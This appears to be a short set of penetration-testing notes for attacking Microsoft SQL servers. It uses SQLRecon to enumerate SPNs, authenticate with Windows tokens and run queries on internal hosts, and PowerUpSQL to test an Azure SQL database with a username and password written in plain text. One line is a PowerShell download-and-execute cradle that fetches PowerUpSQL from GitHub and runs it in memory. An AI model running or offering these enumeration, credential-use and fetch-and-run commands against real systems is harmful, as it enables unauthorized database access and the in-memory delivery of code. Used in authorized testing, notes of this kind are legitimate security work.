sqlrecon -- /enum:sqlspns
sqlrecon -- /auth:wintoken /host:web06.dev.final.com /m:info
sqlrecon -- /auth:wintoken /host:web06.dev.final.com /m:whoami
sqlrecon -- /auth:wintoken /host:sql03.final.com /m:Query /command:\"select @@version\"
Azure App Services
sqlrecon -- /auth:azurelocal /host:megabigdevsqlserver.database.windows.net /u:dbuser /p:V%#J3c5jceryjcE /database:customerdevneddb /m:info
sqlrecon -- /auth:azurelocal /host:megabigdevsqlserver.database.windows.net /u:dbuser /p:V%#J3c5jceryjcE /database:customerdevneddb /m:tables /db:customerdevneddb
Powerup
Using PowerUpSQL
Now we will be using PowerUPSQL to enumerate the megabigdevsqlserver.
Import-module ./PowerUpSQL.ps1
Checking the Connection
Get-SQLConnectionTest -Instance 'megabigdevsqlserver.database.windows.net' -Database customerdevneddb -Username dbuser -Password V%#J3c5jceryjcE | ft -wrap
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1'); Get-SQLConnectionTest -Instance 'megabigdevsqlserver.database.windows.net' -Database customerdevneddb -Username dbuser -Password V%#J3c5jceryjcE | ft -wrap"